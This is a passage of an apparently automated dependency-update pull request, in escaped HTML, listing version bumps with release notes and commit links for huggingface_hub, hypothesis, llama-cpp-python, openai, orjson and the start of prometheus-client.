href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3592\"\u003e#3592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/2261b8ed0ce46eeb4cddb1b56e96f18c0760dfd5\"\u003e\u003ccode\u003e2261b8e\u003c/code\u003e\u003c/a\u003e fix: correct \u003ccode\u003ehf login\u003c/code\u003e example to \u003ccode\u003ehf auth login\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3590\"\u003e#3590\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/96fcc54149bfb93f00b8305801bf0625c14f651b\"\u003e\u003ccode\u003e96fcc54\u003c/code\u003e\u003c/a\u003e Warn on server warning 'X-HF-Warning' (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3589\"\u003e#3589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.1.4...v1.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hypothesis` from 6.148.1 to 6.148.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/releases\"\u003ehypothesis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.7\u003c/h2\u003e\n\u003cp\u003eWhen multiple explicit \u0026quot;\u003ca href=\"https://github.com/example\"\u003e\u003ccode\u003e@​example\u003c/code\u003e\u003c/a\u003e\u0026quot; decorators fail with the same error,\nHypothesis now shows only the simplest failing example (by shortlex\norder) with a note about how many other examples also failed (issue\n\u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eTo see all failing examples, use \u0026quot;Verbosity.verbose\u0026quot; or higher.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-7\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.6\u003c/h2\u003e\n\u003cp\u003eFix a bug where we persisted symbolics from solver-based alternative\nbackends in \u0026quot;event()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-6\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.5\u003c/h2\u003e\n\u003cp\u003eThis patch improves the error message for \u0026quot;FlakyStrategyDefinition\u0026quot;\nwhen the precondition for a rule is flaky (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4206\"\u003e#4206\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-5\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.4\u003c/h2\u003e\n\u003cp\u003eThis patch improves the type annotations for \u0026quot;basic_indices()\u0026quot;. The\nreturn type now accurately reflects the \u0026quot;allow_ellipsis\u0026quot; and\n\u0026quot;allow_newaxis\u0026quot; parameters, excluding \u0026quot;EllipsisType\u0026quot; or \u0026quot;None\u0026quot; from\nthe union when those index types are disabled (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4607\"\u003e#4607\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eAdditionally, \u0026quot;assume()\u0026quot; now has overloaded type annotations:\n\u0026quot;assume(True)\u0026quot; returns \u0026quot;Literal[True]\u0026quot;, while \u0026quot;assume(False)\u0026quot; and\n\u0026quot;assume(None)\u0026quot; return \u0026quot;NoReturn\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-4\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.3\u003c/h2\u003e\n\u003cp\u003eClean up some internal code.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-3\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.2\u003c/h2\u003e\n\u003cp\u003eDocument \u0026quot;fuzz_one_input()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-2\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/f1f106b9b1766d39d6d1d543c0523339ed70ad88\"\u003e\u003ccode\u003ef1f106b\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.7 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/72412fefc8f6c8cc329bf75ed7d2f368e4012622\"\u003e\u003ccode\u003e72412fe\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4612\"\u003e#4612\u003c/a\u003e from Zac-HD/claude/fix-hypothesis-4520-01UQ4jW8HBCjR...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/39220d25905fac8683e5f3211b82d9eb2ebe5d89\"\u003e\u003ccode\u003e39220d2\u003c/code\u003e\u003c/a\u003e reword message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/1f84ca2b6953fddeca329d6fc196775d6b9e016a\"\u003e\u003ccode\u003e1f84ca2\u003c/code\u003e\u003c/a\u003e simplify\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/57a6607622497e38301b2093bfbc2aad613e3619\"\u003e\u003ccode\u003e57a6607\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.6 and update changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/a7fbda4fb4d77cd180d531287bec80c422bd7412\"\u003e\u003ccode\u003ea7fbda4\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4507\"\u003e#4507\u003c/a\u003e from Liam-DeVoe/crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/5715090daecbc3e00c74c1d2b922d13e35c0bf90\"\u003e\u003ccode\u003e5715090\u003c/code\u003e\u003c/a\u003e bump crosshair\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/2231eeaa15a12f9eb1b18c5310f63db5cdcd85c7\"\u003e\u003ccode\u003e2231eea\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/831ed067de120910fc6041e133c578778029ab2f\"\u003e\u003ccode\u003e831ed06\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into crosshair-event\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HypothesisWorks/hypothesis/commit/3605694a68576c4b4adb520a3581d97f30cfce92\"\u003e\u003ccode\u003e3605694\u003c/code\u003e\u003c/a\u003e Bump hypothesis-python version to 6.148.5 and update changelog\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.148.1...hypothesis-python-6.148.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.2.90 to 0.3.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@a0374a67e2924f2e845cdc59dd67d9a44065a89c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.11]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Update reference to \u003ccode\u003ellama_kv_cache_clear\u003c/code\u003e in Llama.embed. Closes \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2037\"\u003e#2037\u003c/a\u003e by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in 9e5a4eaa84156084ed7bbb91e6efcc91dc6217bc\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.10]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8846aace4934ad29651ea61b8c7e3f6b0556e3d2\u003c/li\u003e\n\u003cli\u003efeat: Add support for llama.cpp multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `openai` from 2.8.1 to 2.9.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/releases\"\u003eopenai's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.9.0\u003c/h2\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e codegen related update (\u003ca href=\"https://github.com/openai/openai-python/commit/307a0664383b9d1d4151bc1a05a78c4fdcdcc9b0\"\u003e307a066\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate lockfile (\u003ca href=\"https://github.com/openai/openai-python/commit/b4109c5fcf971ccfb25b4bdaef0bf36999f9eca5\"\u003eb4109c5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/blob/main/CHANGELOG.md\"\u003eopenai's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e codegen related update (\u003ca href=\"https://github.com/openai/openai-python/commit/307a0664383b9d1d4151bc1a05a78c4fdcdcc9b0\"\u003e307a066\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate lockfile (\u003ca href=\"https://github.com/openai/openai-python/commit/b4109c5fcf971ccfb25b4bdaef0bf36999f9eca5\"\u003eb4109c5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/dc7602151b9042891ccd5042c7be3881337368e5\"\u003e\u003ccode\u003edc76021\u003c/code\u003e\u003c/a\u003e release: 2.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/f45b3c3bcd7d3d40898230b8d592408bb208268a\"\u003e\u003ccode\u003ef45b3c3\u003c/code\u003e\u003c/a\u003e fix bad merge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/96b9e700cef2ea78d7fb37b9a469af5af152279b\"\u003e\u003ccode\u003e96b9e70\u003c/code\u003e\u003c/a\u003e manually readd\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/61841f4a18d5739ee84c9c6d1aba473e05bf1bc1\"\u003e\u003ccode\u003e61841f4\u003c/code\u003e\u003c/a\u003e fix import\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/1039d5637779e035263019a687b562d3ab5d2c1a\"\u003e\u003ccode\u003e1039d56\u003c/code\u003e\u003c/a\u003e feat(api): gpt-5.1-codex-max and responses/compact\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/bd988473f60e28c1ea13c9cc26d6e0b063df02b8\"\u003e\u003ccode\u003ebd98847\u003c/code\u003e\u003c/a\u003e chore(docs): use environment variables for authentication in code snippets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/abc2596652b23318b8b5e7388b7d66fc161f817f\"\u003e\u003ccode\u003eabc2596\u003c/code\u003e\u003c/a\u003e fix(streaming): correct indentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/c3c607a2e2abc572bde6220e71921bf8a55949ab\"\u003e\u003ccode\u003ec3c607a\u003c/code\u003e\u003c/a\u003e chore: update lockfile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/1e7eae9e766c7479507469d7ebaabba13a4fcad5\"\u003e\u003ccode\u003e1e7eae9\u003c/code\u003e\u003c/a\u003e chore(deps): mypy 1.18.1 has a regression, pin to 1.17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/f6552d762e3aec145c49428913a1b9333e4b6be3\"\u003e\u003ccode\u003ef6552d7\u003c/code\u003e\u003c/a\u003e fix: ensure streams are always closed\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `orjson` from 3.11.4 to 3.11.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/releases\"\u003eorjson's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/blob/master/CHANGELOG.md\"\u003eorjson's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5 - 2025-12-06\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/fb3eb1f729c7e7b019f780af5695722c99c7c695\"\u003e\u003ccode\u003efb3eb1f\u003c/code\u003e\u003c/a\u003e 3.11.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/52688e02c51c845cde24a46cd1011a6010d10eb8\"\u003e\u003ccode\u003e52688e0\u003c/code\u003e\u003c/a\u003e Record contributors in headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/dc083e87d5262e7dde3ba4b1d2a377b5b065a27c\"\u003e\u003ccode\u003edc083e8\u003c/code\u003e\u003c/a\u003e Further compatibility and build misc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/18f0186d47fbadd53c9db4e39a442d5b04225418\"\u003e\u003ccode\u003e18f0186\u003c/code\u003e\u003c/a\u003e Compatibility and build misc\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ijl/orjson/compare/3.11.4...3.11.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.20.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's 